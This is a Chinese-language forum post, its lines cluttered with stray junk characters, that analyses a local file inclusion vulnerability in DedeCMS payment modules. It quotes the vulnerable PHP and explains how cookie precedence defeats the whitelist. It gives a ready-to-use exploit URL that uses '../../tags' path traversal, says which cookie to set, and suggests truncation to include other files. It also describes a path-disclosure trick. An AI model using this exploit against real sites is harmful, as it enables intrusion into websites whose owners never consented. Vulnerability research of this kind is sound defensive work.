晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)3 a, a* h! ?! `' r& W
/ e2 f, c% O8 H
出现漏洞的两个文件为:+ s: f7 O5 `# o: U
Include/payment/alipay.php+ U3 \6 t% V8 I9 `! B0 n7 b
Include/payment/yeepay.php
' H8 q' _& k/ p% f$ z漏洞均出现在respond方法里,估计这两个文件是临时工写的。
1 |* v5 O) O8 d/ f( `- H3 \ \; v' b! [
Include/payment/alipay.php
0 C' G: H. G0 X) A d, a. U {* q& V8 @6 U2 h; ~: t1 U: V3 V- P
......
, @% i. ?# a, a& O function respond()/ N; V. A# L B
{$ Z( G% X# F# ]8 t: E; R6 P- [
if (!empty($_POST))
( A& Y: g8 _7 } W% X: x$ h {
7 _, T$ [3 W# T1 b6 [ foreach($_POST as $key => $data)8 G/ C& ^$ M( o. I
{; e7 [1 `& L R" t
$_GET[$key] = $data;
5 v$ I+ m" w' |3 Y2 o0 J3 } }9 J: y. G" v9 P3 G" R2 R9 Z
}1 z! [ Q, l* S; W) d
/* 引入配置文件 */( t5 E/ `4 l$ k- r! t7 U) u0 G
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& ?: V' t/ P) n J! h% @......
" ?0 l# }$ j( x& S9 H 4 u( s$ z) ~2 `
: j+ k: X7 o& m8 u0 s: A
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
8 M6 @. O6 p% ]4 _6 P( F% K& r
7 v) d( r4 H, G0 sInclude/payment/yeepay.php2 x; |5 M# }5 C8 [; w
* P8 u. f4 N2 I2 {- B
[; e8 v7 t, C3 N$ l0 g
9 \: E9 F9 ~: t/ m+ X/ E T9 P......0 u: h1 d8 B" N) t4 O" t/ x
function respond()* {3 I( W' e2 l0 @5 y6 B" i9 j* ?
{
. F* ?& O5 R! z
9 o/ z& V$ `1 B2 H. E6 R /* 引入配置文件 */3 e" \. V- s+ t8 P$ J
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
/ S' c+ h& S; f+ U: `4 H9 d9 v 6 z9 |2 V2 ]* w
$p1_MerId = trim($payment['yp_account']);; g3 i. ]- J: [# y- u3 O
$merchantKey = trim($payment['yp_key']);% X: Y# K0 u. M: O! F5 V3 a
......
& t- n* [1 k! {& y
' w" y/ H, s' V/ O3 f( s# `! ?
3 h4 W& @) X# w1 h6 E' ~: Z; ]7 A% r
# P! M8 |4 Y7 W% Y) R- x( Z7 ?1 C& W! ~
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- O( W; Y. n+ R, x. w2 Y- L3 ~3 [9 M2 j- g
这两个方法在plus/carbuyaction.php文件调用。. ^$ M: _+ L! b& g" J
3 J* G5 j( s* P8 r; Dplus/carbuyaction.php1 ]. W; d! L. V( M6 p" g& _* b
1 ^& ?! h, j; @9 z; ~
......# [- q8 U" L5 V |* f% \
} else if ($dopost == 'return') {6 O4 }) e- T7 \4 `+ N6 m
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
& M, i- K9 s4 h- r b2 M if (in_array($code, $write_list))/ g1 R( ?8 `9 `4 E
{$ `4 O1 a, E6 O/ u5 @: _! u
require_once DEDEINC.'/payment/'.$code.'.php';9 {2 Y, h7 j* B* ~
$pay = new $code; [5 G9 C4 m9 t& P, S+ T, R1 A3 u
$msg=$pay->respond();, Z" D6 y5 v. F9 @" v4 k
ShowMsg($msg, "javascript:;", 0, 3000);
# t- L R3 i1 W' x F$ x& x' { exit();
$ i1 Y) X" Z/ M5 ?: M( b } else {
6 b6 ?* N) c: E" X8 z& o1 E( V exit('Error:File Type Can\'t Recognized!');
5 u, q, a- V; f {( y }
8 i, Y0 z# c+ k}% \8 Y, Q' F4 K2 C' f' \( e
...... : Y+ b' { W$ F1 d7 `
0 ~# C5 E, j; o' \# B6 a
- V' a5 O# u- q
0 I9 ?3 x( y( J9 `9 Z& A4 m5 E+ \1 h7 W! x
4 R2 p( c$ x' f( ]
+ v* H O- w; b+ _- o
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
8 U; c5 Q( u, t& s6 }+ ]所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。2 E, L7 t& C% F* @9 T0 Y
+ N0 ?. ]. R: P* \* ]8 c! C; P回到include/common.inc.php来看看他的机制。
3 q* C9 I+ }, H6 Q7 i* j# u4 l, h8 Z* q$ M5 e% X3 e2 b8 d! P) e4 B
2 ?/ z& H3 J; W4 d+ W1 q2 k
- M8 Z( ~2 _" O5 V$ b, z......
; F+ ?7 x4 [9 _' ?0 Y; cforeach(Array('_GET','_POST','_COOKIE') as $_request)7 T, t6 z$ _2 E$ h' U4 K) j! u
{/ o' t2 F9 ?/ e' y
foreach($$_request as $_k => $_v) / R3 @' l8 f0 T1 Y- @
{/ o) Q' Q; p! m
if($_k == 'nvarname') ${$_k} = $_v;
3 `9 i) d6 x. I. q9 W' d8 F8 j else ${$_k} = _RunMagicQuotes($_v);
3 a* [ ~8 X! x8 Z% p& C* X% ] }7 Q& D! J7 Z* K1 Y8 o' w" v
}
; t& Z& g3 m6 ~) a2 `......
1 M: q/ v# l2 J4 h' k- w. `大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. s W1 t# S1 _% r, p' G# i' a% A
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |